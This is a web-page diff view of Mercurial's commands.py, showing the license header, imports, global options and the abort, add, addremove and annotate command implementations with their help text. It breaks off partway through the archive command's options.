##// END OF EJS Templates
path: return path instance directly from get_pull_paths...
marmoute -
r49054:607e9322 default
parent child Browse files
Show More
@@ -1,7968 +1,7971 b''
1 # commands.py - command processing for mercurial
1 # commands.py - command processing for mercurial
2 #
2 #
3 # Copyright 2005-2007 Olivia Mackall <olivia@selenic.com>
3 # Copyright 2005-2007 Olivia Mackall <olivia@selenic.com>
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 from __future__ import absolute_import
8 from __future__ import absolute_import
9
9
10 import errno
10 import errno
11 import os
11 import os
12 import re
12 import re
13 import sys
13 import sys
14
14
15 from .i18n import _
15 from .i18n import _
16 from .node import (
16 from .node import (
17 hex,
17 hex,
18 nullrev,
18 nullrev,
19 short,
19 short,
20 wdirrev,
20 wdirrev,
21 )
21 )
22 from .pycompat import open
22 from .pycompat import open
23 from . import (
23 from . import (
24 archival,
24 archival,
25 bookmarks,
25 bookmarks,
26 bundle2,
26 bundle2,
27 bundlecaches,
27 bundlecaches,
28 changegroup,
28 changegroup,
29 cmdutil,
29 cmdutil,
30 copies,
30 copies,
31 debugcommands as debugcommandsmod,
31 debugcommands as debugcommandsmod,
32 destutil,
32 destutil,
33 dirstateguard,
33 dirstateguard,
34 discovery,
34 discovery,
35 encoding,
35 encoding,
36 error,
36 error,
37 exchange,
37 exchange,
38 extensions,
38 extensions,
39 filemerge,
39 filemerge,
40 formatter,
40 formatter,
41 graphmod,
41 graphmod,
42 grep as grepmod,
42 grep as grepmod,
43 hbisect,
43 hbisect,
44 help,
44 help,
45 hg,
45 hg,
46 logcmdutil,
46 logcmdutil,
47 merge as mergemod,
47 merge as mergemod,
48 mergestate as mergestatemod,
48 mergestate as mergestatemod,
49 narrowspec,
49 narrowspec,
50 obsolete,
50 obsolete,
51 obsutil,
51 obsutil,
52 patch,
52 patch,
53 phases,
53 phases,
54 pycompat,
54 pycompat,
55 rcutil,
55 rcutil,
56 registrar,
56 registrar,
57 requirements,
57 requirements,
58 revsetlang,
58 revsetlang,
59 rewriteutil,
59 rewriteutil,
60 scmutil,
60 scmutil,
61 server,
61 server,
62 shelve as shelvemod,
62 shelve as shelvemod,
63 state as statemod,
63 state as statemod,
64 streamclone,
64 streamclone,
65 tags as tagsmod,
65 tags as tagsmod,
66 ui as uimod,
66 ui as uimod,
67 util,
67 util,
68 verify as verifymod,
68 verify as verifymod,
69 vfs as vfsmod,
69 vfs as vfsmod,
70 wireprotoserver,
70 wireprotoserver,
71 )
71 )
72 from .utils import (
72 from .utils import (
73 dateutil,
73 dateutil,
74 stringutil,
74 stringutil,
75 urlutil,
75 urlutil,
76 )
76 )
77
77
78 table = {}
78 table = {}
79 table.update(debugcommandsmod.command._table)
79 table.update(debugcommandsmod.command._table)
80
80
81 command = registrar.command(table)
81 command = registrar.command(table)
82 INTENT_READONLY = registrar.INTENT_READONLY
82 INTENT_READONLY = registrar.INTENT_READONLY
83
83
84 # common command options
84 # common command options
85
85
86 globalopts = [
86 globalopts = [
87 (
87 (
88 b'R',
88 b'R',
89 b'repository',
89 b'repository',
90 b'',
90 b'',
91 _(b'repository root directory or name of overlay bundle file'),
91 _(b'repository root directory or name of overlay bundle file'),
92 _(b'REPO'),
92 _(b'REPO'),
93 ),
93 ),
94 (b'', b'cwd', b'', _(b'change working directory'), _(b'DIR')),
94 (b'', b'cwd', b'', _(b'change working directory'), _(b'DIR')),
95 (
95 (
96 b'y',
96 b'y',
97 b'noninteractive',
97 b'noninteractive',
98 None,
98 None,
99 _(
99 _(
100 b'do not prompt, automatically pick the first choice for all prompts'
100 b'do not prompt, automatically pick the first choice for all prompts'
101 ),
101 ),
102 ),
102 ),
103 (b'q', b'quiet', None, _(b'suppress output')),
103 (b'q', b'quiet', None, _(b'suppress output')),
104 (b'v', b'verbose', None, _(b'enable additional output')),
104 (b'v', b'verbose', None, _(b'enable additional output')),
105 (
105 (
106 b'',
106 b'',
107 b'color',
107 b'color',
108 b'',
108 b'',
109 # i18n: 'always', 'auto', 'never', and 'debug' are keywords
109 # i18n: 'always', 'auto', 'never', and 'debug' are keywords
110 # and should not be translated
110 # and should not be translated
111 _(b"when to colorize (boolean, always, auto, never, or debug)"),
111 _(b"when to colorize (boolean, always, auto, never, or debug)"),
112 _(b'TYPE'),
112 _(b'TYPE'),
113 ),
113 ),
114 (
114 (
115 b'',
115 b'',
116 b'config',
116 b'config',
117 [],
117 [],
118 _(b'set/override config option (use \'section.name=value\')'),
118 _(b'set/override config option (use \'section.name=value\')'),
119 _(b'CONFIG'),
119 _(b'CONFIG'),
120 ),
120 ),
121 (b'', b'debug', None, _(b'enable debugging output')),
121 (b'', b'debug', None, _(b'enable debugging output')),
122 (b'', b'debugger', None, _(b'start debugger')),
122 (b'', b'debugger', None, _(b'start debugger')),
123 (
123 (
124 b'',
124 b'',
125 b'encoding',
125 b'encoding',
126 encoding.encoding,
126 encoding.encoding,
127 _(b'set the charset encoding'),
127 _(b'set the charset encoding'),
128 _(b'ENCODE'),
128 _(b'ENCODE'),
129 ),
129 ),
130 (
130 (
131 b'',
131 b'',
132 b'encodingmode',
132 b'encodingmode',
133 encoding.encodingmode,
133 encoding.encodingmode,
134 _(b'set the charset encoding mode'),
134 _(b'set the charset encoding mode'),
135 _(b'MODE'),
135 _(b'MODE'),
136 ),
136 ),
137 (b'', b'traceback', None, _(b'always print a traceback on exception')),
137 (b'', b'traceback', None, _(b'always print a traceback on exception')),
138 (b'', b'time', None, _(b'time how long the command takes')),
138 (b'', b'time', None, _(b'time how long the command takes')),
139 (b'', b'profile', None, _(b'print command execution profile')),
139 (b'', b'profile', None, _(b'print command execution profile')),
140 (b'', b'version', None, _(b'output version information and exit')),
140 (b'', b'version', None, _(b'output version information and exit')),
141 (b'h', b'help', None, _(b'display help and exit')),
141 (b'h', b'help', None, _(b'display help and exit')),
142 (b'', b'hidden', False, _(b'consider hidden changesets')),
142 (b'', b'hidden', False, _(b'consider hidden changesets')),
143 (
143 (
144 b'',
144 b'',
145 b'pager',
145 b'pager',
146 b'auto',
146 b'auto',
147 _(b"when to paginate (boolean, always, auto, or never)"),
147 _(b"when to paginate (boolean, always, auto, or never)"),
148 _(b'TYPE'),
148 _(b'TYPE'),
149 ),
149 ),
150 ]
150 ]
151
151
152 dryrunopts = cmdutil.dryrunopts
152 dryrunopts = cmdutil.dryrunopts
153 remoteopts = cmdutil.remoteopts
153 remoteopts = cmdutil.remoteopts
154 walkopts = cmdutil.walkopts
154 walkopts = cmdutil.walkopts
155 commitopts = cmdutil.commitopts
155 commitopts = cmdutil.commitopts
156 commitopts2 = cmdutil.commitopts2
156 commitopts2 = cmdutil.commitopts2
157 commitopts3 = cmdutil.commitopts3
157 commitopts3 = cmdutil.commitopts3
158 formatteropts = cmdutil.formatteropts
158 formatteropts = cmdutil.formatteropts
159 templateopts = cmdutil.templateopts
159 templateopts = cmdutil.templateopts
160 logopts = cmdutil.logopts
160 logopts = cmdutil.logopts
161 diffopts = cmdutil.diffopts
161 diffopts = cmdutil.diffopts
162 diffwsopts = cmdutil.diffwsopts
162 diffwsopts = cmdutil.diffwsopts
163 diffopts2 = cmdutil.diffopts2
163 diffopts2 = cmdutil.diffopts2
164 mergetoolopts = cmdutil.mergetoolopts
164 mergetoolopts = cmdutil.mergetoolopts
165 similarityopts = cmdutil.similarityopts
165 similarityopts = cmdutil.similarityopts
166 subrepoopts = cmdutil.subrepoopts
166 subrepoopts = cmdutil.subrepoopts
167 debugrevlogopts = cmdutil.debugrevlogopts
167 debugrevlogopts = cmdutil.debugrevlogopts
168
168
169 # Commands start here, listed alphabetically
169 # Commands start here, listed alphabetically
170
170
171
171
172 @command(
172 @command(
173 b'abort',
173 b'abort',
174 dryrunopts,
174 dryrunopts,
175 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
175 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
176 helpbasic=True,
176 helpbasic=True,
177 )
177 )
178 def abort(ui, repo, **opts):
178 def abort(ui, repo, **opts):
179 """abort an unfinished operation (EXPERIMENTAL)
179 """abort an unfinished operation (EXPERIMENTAL)
180
180
181 Aborts a multistep operation like graft, histedit, rebase, merge,
181 Aborts a multistep operation like graft, histedit, rebase, merge,
182 and unshelve if they are in an unfinished state.
182 and unshelve if they are in an unfinished state.
183
183
184 use --dry-run/-n to dry run the command.
184 use --dry-run/-n to dry run the command.
185 """
185 """
186 dryrun = opts.get('dry_run')
186 dryrun = opts.get('dry_run')
187 abortstate = cmdutil.getunfinishedstate(repo)
187 abortstate = cmdutil.getunfinishedstate(repo)
188 if not abortstate:
188 if not abortstate:
189 raise error.StateError(_(b'no operation in progress'))
189 raise error.StateError(_(b'no operation in progress'))
190 if not abortstate.abortfunc:
190 if not abortstate.abortfunc:
191 raise error.InputError(
191 raise error.InputError(
192 (
192 (
193 _(b"%s in progress but does not support 'hg abort'")
193 _(b"%s in progress but does not support 'hg abort'")
194 % (abortstate._opname)
194 % (abortstate._opname)
195 ),
195 ),
196 hint=abortstate.hint(),
196 hint=abortstate.hint(),
197 )
197 )
198 if dryrun:
198 if dryrun:
199 ui.status(
199 ui.status(
200 _(b'%s in progress, will be aborted\n') % (abortstate._opname)
200 _(b'%s in progress, will be aborted\n') % (abortstate._opname)
201 )
201 )
202 return
202 return
203 return abortstate.abortfunc(ui, repo)
203 return abortstate.abortfunc(ui, repo)
204
204
205
205
206 @command(
206 @command(
207 b'add',
207 b'add',
208 walkopts + subrepoopts + dryrunopts,
208 walkopts + subrepoopts + dryrunopts,
209 _(b'[OPTION]... [FILE]...'),
209 _(b'[OPTION]... [FILE]...'),
210 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
210 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
211 helpbasic=True,
211 helpbasic=True,
212 inferrepo=True,
212 inferrepo=True,
213 )
213 )
214 def add(ui, repo, *pats, **opts):
214 def add(ui, repo, *pats, **opts):
215 """add the specified files on the next commit
215 """add the specified files on the next commit
216
216
217 Schedule files to be version controlled and added to the
217 Schedule files to be version controlled and added to the
218 repository.
218 repository.
219
219
220 The files will be added to the repository at the next commit. To
220 The files will be added to the repository at the next commit. To
221 undo an add before that, see :hg:`forget`.
221 undo an add before that, see :hg:`forget`.
222
222
223 If no names are given, add all files to the repository (except
223 If no names are given, add all files to the repository (except
224 files matching ``.hgignore``).
224 files matching ``.hgignore``).
225
225
226 .. container:: verbose
226 .. container:: verbose
227
227
228 Examples:
228 Examples:
229
229
230 - New (unknown) files are added
230 - New (unknown) files are added
231 automatically by :hg:`add`::
231 automatically by :hg:`add`::
232
232
233 $ ls
233 $ ls
234 foo.c
234 foo.c
235 $ hg status
235 $ hg status
236 ? foo.c
236 ? foo.c
237 $ hg add
237 $ hg add
238 adding foo.c
238 adding foo.c
239 $ hg status
239 $ hg status
240 A foo.c
240 A foo.c
241
241
242 - Specific files to be added can be specified::
242 - Specific files to be added can be specified::
243
243
244 $ ls
244 $ ls
245 bar.c foo.c
245 bar.c foo.c
246 $ hg status
246 $ hg status
247 ? bar.c
247 ? bar.c
248 ? foo.c
248 ? foo.c
249 $ hg add bar.c
249 $ hg add bar.c
250 $ hg status
250 $ hg status
251 A bar.c
251 A bar.c
252 ? foo.c
252 ? foo.c
253
253
254 Returns 0 if all files are successfully added.
254 Returns 0 if all files are successfully added.
255 """
255 """
256
256
257 m = scmutil.match(repo[None], pats, pycompat.byteskwargs(opts))
257 m = scmutil.match(repo[None], pats, pycompat.byteskwargs(opts))
258 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=True)
258 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=True)
259 rejected = cmdutil.add(ui, repo, m, b"", uipathfn, False, **opts)
259 rejected = cmdutil.add(ui, repo, m, b"", uipathfn, False, **opts)
260 return rejected and 1 or 0
260 return rejected and 1 or 0
261
261
262
262
263 @command(
263 @command(
264 b'addremove',
264 b'addremove',
265 similarityopts + subrepoopts + walkopts + dryrunopts,
265 similarityopts + subrepoopts + walkopts + dryrunopts,
266 _(b'[OPTION]... [FILE]...'),
266 _(b'[OPTION]... [FILE]...'),
267 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
267 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
268 inferrepo=True,
268 inferrepo=True,
269 )
269 )
270 def addremove(ui, repo, *pats, **opts):
270 def addremove(ui, repo, *pats, **opts):
271 """add all new files, delete all missing files
271 """add all new files, delete all missing files
272
272
273 Add all new files and remove all missing files from the
273 Add all new files and remove all missing files from the
274 repository.
274 repository.
275
275
276 Unless names are given, new files are ignored if they match any of
276 Unless names are given, new files are ignored if they match any of
277 the patterns in ``.hgignore``. As with add, these changes take
277 the patterns in ``.hgignore``. As with add, these changes take
278 effect at the next commit.
278 effect at the next commit.
279
279
280 Use the -s/--similarity option to detect renamed files. This
280 Use the -s/--similarity option to detect renamed files. This
281 option takes a percentage between 0 (disabled) and 100 (files must
281 option takes a percentage between 0 (disabled) and 100 (files must
282 be identical) as its parameter. With a parameter greater than 0,
282 be identical) as its parameter. With a parameter greater than 0,
283 this compares every removed file with every added file and records
283 this compares every removed file with every added file and records
284 those similar enough as renames. Detecting renamed files this way
284 those similar enough as renames. Detecting renamed files this way
285 can be expensive. After using this option, :hg:`status -C` can be
285 can be expensive. After using this option, :hg:`status -C` can be
286 used to check which files were identified as moved or renamed. If
286 used to check which files were identified as moved or renamed. If
287 not specified, -s/--similarity defaults to 100 and only renames of
287 not specified, -s/--similarity defaults to 100 and only renames of
288 identical files are detected.
288 identical files are detected.
289
289
290 .. container:: verbose
290 .. container:: verbose
291
291
292 Examples:
292 Examples:
293
293
294 - A number of files (bar.c and foo.c) are new,
294 - A number of files (bar.c and foo.c) are new,
295 while foobar.c has been removed (without using :hg:`remove`)
295 while foobar.c has been removed (without using :hg:`remove`)
296 from the repository::
296 from the repository::
297
297
298 $ ls
298 $ ls
299 bar.c foo.c
299 bar.c foo.c
300 $ hg status
300 $ hg status
301 ! foobar.c
301 ! foobar.c
302 ? bar.c
302 ? bar.c
303 ? foo.c
303 ? foo.c
304 $ hg addremove
304 $ hg addremove
305 adding bar.c
305 adding bar.c
306 adding foo.c
306 adding foo.c
307 removing foobar.c
307 removing foobar.c
308 $ hg status
308 $ hg status
309 A bar.c
309 A bar.c
310 A foo.c
310 A foo.c
311 R foobar.c
311 R foobar.c
312
312
313 - A file foobar.c was moved to foo.c without using :hg:`rename`.
313 - A file foobar.c was moved to foo.c without using :hg:`rename`.
314 Afterwards, it was edited slightly::
314 Afterwards, it was edited slightly::
315
315
316 $ ls
316 $ ls
317 foo.c
317 foo.c
318 $ hg status
318 $ hg status
319 ! foobar.c
319 ! foobar.c
320 ? foo.c
320 ? foo.c
321 $ hg addremove --similarity 90
321 $ hg addremove --similarity 90
322 removing foobar.c
322 removing foobar.c
323 adding foo.c
323 adding foo.c
324 recording removal of foobar.c as rename to foo.c (94% similar)
324 recording removal of foobar.c as rename to foo.c (94% similar)
325 $ hg status -C
325 $ hg status -C
326 A foo.c
326 A foo.c
327 foobar.c
327 foobar.c
328 R foobar.c
328 R foobar.c
329
329
330 Returns 0 if all files are successfully added.
330 Returns 0 if all files are successfully added.
331 """
331 """
332 opts = pycompat.byteskwargs(opts)
332 opts = pycompat.byteskwargs(opts)
333 if not opts.get(b'similarity'):
333 if not opts.get(b'similarity'):
334 opts[b'similarity'] = b'100'
334 opts[b'similarity'] = b'100'
335 matcher = scmutil.match(repo[None], pats, opts)
335 matcher = scmutil.match(repo[None], pats, opts)
336 relative = scmutil.anypats(pats, opts)
336 relative = scmutil.anypats(pats, opts)
337 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=relative)
337 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=relative)
338 return scmutil.addremove(repo, matcher, b"", uipathfn, opts)
338 return scmutil.addremove(repo, matcher, b"", uipathfn, opts)
339
339
340
340
341 @command(
341 @command(
342 b'annotate|blame',
342 b'annotate|blame',
343 [
343 [
344 (b'r', b'rev', b'', _(b'annotate the specified revision'), _(b'REV')),
344 (b'r', b'rev', b'', _(b'annotate the specified revision'), _(b'REV')),
345 (
345 (
346 b'',
346 b'',
347 b'follow',
347 b'follow',
348 None,
348 None,
349 _(b'follow copies/renames and list the filename (DEPRECATED)'),
349 _(b'follow copies/renames and list the filename (DEPRECATED)'),
350 ),
350 ),
351 (b'', b'no-follow', None, _(b"don't follow copies and renames")),
351 (b'', b'no-follow', None, _(b"don't follow copies and renames")),
352 (b'a', b'text', None, _(b'treat all files as text')),
352 (b'a', b'text', None, _(b'treat all files as text')),
353 (b'u', b'user', None, _(b'list the author (long with -v)')),
353 (b'u', b'user', None, _(b'list the author (long with -v)')),
354 (b'f', b'file', None, _(b'list the filename')),
354 (b'f', b'file', None, _(b'list the filename')),
355 (b'd', b'date', None, _(b'list the date (short with -q)')),
355 (b'd', b'date', None, _(b'list the date (short with -q)')),
356 (b'n', b'number', None, _(b'list the revision number (default)')),
356 (b'n', b'number', None, _(b'list the revision number (default)')),
357 (b'c', b'changeset', None, _(b'list the changeset')),
357 (b'c', b'changeset', None, _(b'list the changeset')),
358 (
358 (
359 b'l',
359 b'l',
360 b'line-number',
360 b'line-number',
361 None,
361 None,
362 _(b'show line number at the first appearance'),
362 _(b'show line number at the first appearance'),
363 ),
363 ),
364 (
364 (
365 b'',
365 b'',
366 b'skip',
366 b'skip',
367 [],
367 [],
368 _(b'revset to not display (EXPERIMENTAL)'),
368 _(b'revset to not display (EXPERIMENTAL)'),
369 _(b'REV'),
369 _(b'REV'),
370 ),
370 ),
371 ]
371 ]
372 + diffwsopts
372 + diffwsopts
373 + walkopts
373 + walkopts
374 + formatteropts,
374 + formatteropts,
375 _(b'[-r REV] [-f] [-a] [-u] [-d] [-n] [-c] [-l] FILE...'),
375 _(b'[-r REV] [-f] [-a] [-u] [-d] [-n] [-c] [-l] FILE...'),
376 helpcategory=command.CATEGORY_FILE_CONTENTS,
376 helpcategory=command.CATEGORY_FILE_CONTENTS,
377 helpbasic=True,
377 helpbasic=True,
378 inferrepo=True,
378 inferrepo=True,
379 )
379 )
380 def annotate(ui, repo, *pats, **opts):
380 def annotate(ui, repo, *pats, **opts):
381 """show changeset information by line for each file
381 """show changeset information by line for each file
382
382
383 List changes in files, showing the revision id responsible for
383 List changes in files, showing the revision id responsible for
384 each line.
384 each line.
385
385
386 This command is useful for discovering when a change was made and
386 This command is useful for discovering when a change was made and
387 by whom.
387 by whom.
388
388
389 If you include --file, --user, or --date, the revision number is
389 If you include --file, --user, or --date, the revision number is
390 suppressed unless you also include --number.
390 suppressed unless you also include --number.
391
391
392 Without the -a/--text option, annotate will avoid processing files
392 Without the -a/--text option, annotate will avoid processing files
393 it detects as binary. With -a, annotate will annotate the file
393 it detects as binary. With -a, annotate will annotate the file
394 anyway, although the results will probably be neither useful
394 anyway, although the results will probably be neither useful
395 nor desirable.
395 nor desirable.
396
396
397 .. container:: verbose
397 .. container:: verbose
398
398
399 Template:
399 Template:
400
400
401 The following keywords are supported in addition to the common template
401 The following keywords are supported in addition to the common template
402 keywords and functions. See also :hg:`help templates`.
402 keywords and functions. See also :hg:`help templates`.
403
403
404 :lines: List of lines with annotation data.
404 :lines: List of lines with annotation data.
405 :path: String. Repository-absolute path of the specified file.
405 :path: String. Repository-absolute path of the specified file.
406
406
407 And each entry of ``{lines}`` provides the following sub-keywords in
407 And each entry of ``{lines}`` provides the following sub-keywords in
408 addition to ``{date}``, ``{node}``, ``{rev}``, ``{user}``, etc.
408 addition to ``{date}``, ``{node}``, ``{rev}``, ``{user}``, etc.
409
409
410 :line: String. Line content.
410 :line: String. Line content.
411 :lineno: Integer. Line number at that revision.
411 :lineno: Integer. Line number at that revision.
412 :path: String. Repository-absolute path of the file at that revision.
412 :path: String. Repository-absolute path of the file at that revision.
413
413
414 See :hg:`help templates.operators` for the list expansion syntax.
414 See :hg:`help templates.operators` for the list expansion syntax.
415
415
416 Returns 0 on success.
416 Returns 0 on success.
417 """
417 """
418 opts = pycompat.byteskwargs(opts)
418 opts = pycompat.byteskwargs(opts)
419 if not pats:
419 if not pats:
420 raise error.InputError(
420 raise error.InputError(
421 _(b'at least one filename or pattern is required')
421 _(b'at least one filename or pattern is required')
422 )
422 )
423
423
424 if opts.get(b'follow'):
424 if opts.get(b'follow'):
425 # --follow is deprecated and now just an alias for -f/--file
425 # --follow is deprecated and now just an alias for -f/--file
426 # to mimic the behavior of Mercurial before version 1.5
426 # to mimic the behavior of Mercurial before version 1.5
427 opts[b'file'] = True
427 opts[b'file'] = True
428
428
429 if (
429 if (
430 not opts.get(b'user')
430 not opts.get(b'user')
431 and not opts.get(b'changeset')
431 and not opts.get(b'changeset')
432 and not opts.get(b'date')
432 and not opts.get(b'date')
433 and not opts.get(b'file')
433 and not opts.get(b'file')
434 ):
434 ):
435 opts[b'number'] = True
435 opts[b'number'] = True
436
436
437 linenumber = opts.get(b'line_number') is not None
437 linenumber = opts.get(b'line_number') is not None
438 if (
438 if (
439 linenumber
439 linenumber
440 and (not opts.get(b'changeset'))
440 and (not opts.get(b'changeset'))
441 and (not opts.get(b'number'))
441 and (not opts.get(b'number'))
442 ):
442 ):
443 raise error.InputError(_(b'at least one of -n/-c is required for -l'))
443 raise error.InputError(_(b'at least one of -n/-c is required for -l'))
444
444
445 rev = opts.get(b'rev')
445 rev = opts.get(b'rev')
446 if rev:
446 if rev:
447 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
447 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
448 ctx = logcmdutil.revsingle(repo, rev)
448 ctx = logcmdutil.revsingle(repo, rev)
449
449
450 ui.pager(b'annotate')
450 ui.pager(b'annotate')
451 rootfm = ui.formatter(b'annotate', opts)
451 rootfm = ui.formatter(b'annotate', opts)
452 if ui.debugflag:
452 if ui.debugflag:
453 shorthex = pycompat.identity
453 shorthex = pycompat.identity
454 else:
454 else:
455
455
456 def shorthex(h):
456 def shorthex(h):
457 return h[:12]
457 return h[:12]
458
458
459 if ui.quiet:
459 if ui.quiet:
460 datefunc = dateutil.shortdate
460 datefunc = dateutil.shortdate
461 else:
461 else:
462 datefunc = dateutil.datestr
462 datefunc = dateutil.datestr
463 if ctx.rev() is None:
463 if ctx.rev() is None:
464 if opts.get(b'changeset'):
464 if opts.get(b'changeset'):
465 # omit "+" suffix which is appended to node hex
465 # omit "+" suffix which is appended to node hex
466 def formatrev(rev):
466 def formatrev(rev):
467 if rev == wdirrev:
467 if rev == wdirrev:
468 return b'%d' % ctx.p1().rev()
468 return b'%d' % ctx.p1().rev()
469 else:
469 else:
470 return b'%d' % rev
470 return b'%d' % rev
471
471
472 else:
472 else:
473
473
474 def formatrev(rev):
474 def formatrev(rev):
475 if rev == wdirrev:
475 if rev == wdirrev:
476 return b'%d+' % ctx.p1().rev()
476 return b'%d+' % ctx.p1().rev()
477 else:
477 else:
478 return b'%d ' % rev
478 return b'%d ' % rev
479
479
480 def formathex(h):
480 def formathex(h):
481 if h == repo.nodeconstants.wdirhex:
481 if h == repo.nodeconstants.wdirhex:
482 return b'%s+' % shorthex(hex(ctx.p1().node()))
482 return b'%s+' % shorthex(hex(ctx.p1().node()))
483 else:
483 else:
484 return b'%s ' % shorthex(h)
484 return b'%s ' % shorthex(h)
485
485
486 else:
486 else:
487 formatrev = b'%d'.__mod__
487 formatrev = b'%d'.__mod__
488 formathex = shorthex
488 formathex = shorthex
489
489
490 opmap = [
490 opmap = [
491 (b'user', b' ', lambda x: x.fctx.user(), ui.shortuser),
491 (b'user', b' ', lambda x: x.fctx.user(), ui.shortuser),
492 (b'rev', b' ', lambda x: scmutil.intrev(x.fctx), formatrev),
492 (b'rev', b' ', lambda x: scmutil.intrev(x.fctx), formatrev),
493 (b'node', b' ', lambda x: hex(scmutil.binnode(x.fctx)), formathex),
493 (b'node', b' ', lambda x: hex(scmutil.binnode(x.fctx)), formathex),
494 (b'date', b' ', lambda x: x.fctx.date(), util.cachefunc(datefunc)),
494 (b'date', b' ', lambda x: x.fctx.date(), util.cachefunc(datefunc)),
495 (b'path', b' ', lambda x: x.fctx.path(), pycompat.bytestr),
495 (b'path', b' ', lambda x: x.fctx.path(), pycompat.bytestr),
496 (b'lineno', b':', lambda x: x.lineno, pycompat.bytestr),
496 (b'lineno', b':', lambda x: x.lineno, pycompat.bytestr),
497 ]
497 ]
498 opnamemap = {
498 opnamemap = {
499 b'rev': b'number',
499 b'rev': b'number',
500 b'node': b'changeset',
500 b'node': b'changeset',
501 b'path': b'file',
501 b'path': b'file',
502 b'lineno': b'line_number',
502 b'lineno': b'line_number',
503 }
503 }
504
504
505 if rootfm.isplain():
505 if rootfm.isplain():
506
506
507 def makefunc(get, fmt):
507 def makefunc(get, fmt):
508 return lambda x: fmt(get(x))
508 return lambda x: fmt(get(x))
509
509
510 else:
510 else:
511
511
512 def makefunc(get, fmt):
512 def makefunc(get, fmt):
513 return get
513 return get
514
514
515 datahint = rootfm.datahint()
515 datahint = rootfm.datahint()
516 funcmap = [
516 funcmap = [
517 (makefunc(get, fmt), sep)
517 (makefunc(get, fmt), sep)
518 for fn, sep, get, fmt in opmap
518 for fn, sep, get, fmt in opmap
519 if opts.get(opnamemap.get(fn, fn)) or fn in datahint
519 if opts.get(opnamemap.get(fn, fn)) or fn in datahint
520 ]
520 ]
521 funcmap[0] = (funcmap[0][0], b'') # no separator in front of first column
521 funcmap[0] = (funcmap[0][0], b'') # no separator in front of first column
522 fields = b' '.join(
522 fields = b' '.join(
523 fn
523 fn
524 for fn, sep, get, fmt in opmap
524 for fn, sep, get, fmt in opmap
525 if opts.get(opnamemap.get(fn, fn)) or fn in datahint
525 if opts.get(opnamemap.get(fn, fn)) or fn in datahint
526 )
526 )
527
527
528 def bad(x, y):
528 def bad(x, y):
529 raise error.InputError(b"%s: %s" % (x, y))
529 raise error.InputError(b"%s: %s" % (x, y))
530
530
531 m = scmutil.match(ctx, pats, opts, badfn=bad)
531 m = scmutil.match(ctx, pats, opts, badfn=bad)
532
532
533 follow = not opts.get(b'no_follow')
533 follow = not opts.get(b'no_follow')
534 diffopts = patch.difffeatureopts(
534 diffopts = patch.difffeatureopts(
535 ui, opts, section=b'annotate', whitespace=True
535 ui, opts, section=b'annotate', whitespace=True
536 )
536 )
537 skiprevs = opts.get(b'skip')
537 skiprevs = opts.get(b'skip')
538 if skiprevs:
538 if skiprevs:
539 skiprevs = logcmdutil.revrange(repo, skiprevs)
539 skiprevs = logcmdutil.revrange(repo, skiprevs)
540
540
541 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=True)
541 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=True)
542 for abs in ctx.walk(m):
542 for abs in ctx.walk(m):
543 fctx = ctx[abs]
543 fctx = ctx[abs]
544 rootfm.startitem()
544 rootfm.startitem()
545 rootfm.data(path=abs)
545 rootfm.data(path=abs)
546 if not opts.get(b'text') and fctx.isbinary():
546 if not opts.get(b'text') and fctx.isbinary():
547 rootfm.plain(_(b"%s: binary file\n") % uipathfn(abs))
547 rootfm.plain(_(b"%s: binary file\n") % uipathfn(abs))
548 continue
548 continue
549
549
550 fm = rootfm.nested(b'lines', tmpl=b'{rev}: {line}')
550 fm = rootfm.nested(b'lines', tmpl=b'{rev}: {line}')
551 lines = fctx.annotate(
551 lines = fctx.annotate(
552 follow=follow, skiprevs=skiprevs, diffopts=diffopts
552 follow=follow, skiprevs=skiprevs, diffopts=diffopts
553 )
553 )
554 if not lines:
554 if not lines:
555 fm.end()
555 fm.end()
556 continue
556 continue
557 formats = []
557 formats = []
558 pieces = []
558 pieces = []
559
559
560 for f, sep in funcmap:
560 for f, sep in funcmap:
561 l = [f(n) for n in lines]
561 l = [f(n) for n in lines]
562 if fm.isplain():
562 if fm.isplain():
563 sizes = [encoding.colwidth(x) for x in l]
563 sizes = [encoding.colwidth(x) for x in l]
564 ml = max(sizes)
564 ml = max(sizes)
565 formats.append([sep + b' ' * (ml - w) + b'%s' for w in sizes])
565 formats.append([sep + b' ' * (ml - w) + b'%s' for w in sizes])
566 else:
566 else:
567 formats.append([b'%s'] * len(l))
567 formats.append([b'%s'] * len(l))
568 pieces.append(l)
568 pieces.append(l)
569
569
570 for f, p, n in zip(zip(*formats), zip(*pieces), lines):
570 for f, p, n in zip(zip(*formats), zip(*pieces), lines):
571 fm.startitem()
571 fm.startitem()
572 fm.context(fctx=n.fctx)
572 fm.context(fctx=n.fctx)
573 fm.write(fields, b"".join(f), *p)
573 fm.write(fields, b"".join(f), *p)
574 if n.skip:
574 if n.skip:
575 fmt = b"* %s"
575 fmt = b"* %s"
576 else:
576 else:
577 fmt = b": %s"
577 fmt = b": %s"
578 fm.write(b'line', fmt, n.text)
578 fm.write(b'line', fmt, n.text)
579
579
580 if not lines[-1].text.endswith(b'\n'):
580 if not lines[-1].text.endswith(b'\n'):
581 fm.plain(b'\n')
581 fm.plain(b'\n')
582 fm.end()
582 fm.end()
583
583
584 rootfm.end()
584 rootfm.end()
585
585
586
586
587 @command(
587 @command(
588 b'archive',
588 b'archive',
589 [
589 [
590 (b'', b'no-decode', None, _(b'do not pass files through decoders')),
590 (b'', b'no-decode', None, _(b'do not pass files through decoders')),
591 (
591 (
592 b'p',
592 b'p',
593 b'prefix',
593 b'prefix',
594 b'',
594 b'',
595 _(b'directory prefix for files in archive'),
595 _(b'directory prefix for files in archive'),
596 _(b'PREFIX'),
596 _(b'PREFIX'),
597 ),
597 ),
598 (b'r', b'rev', b'', _(b'revision to distribute'), _(b'REV')),
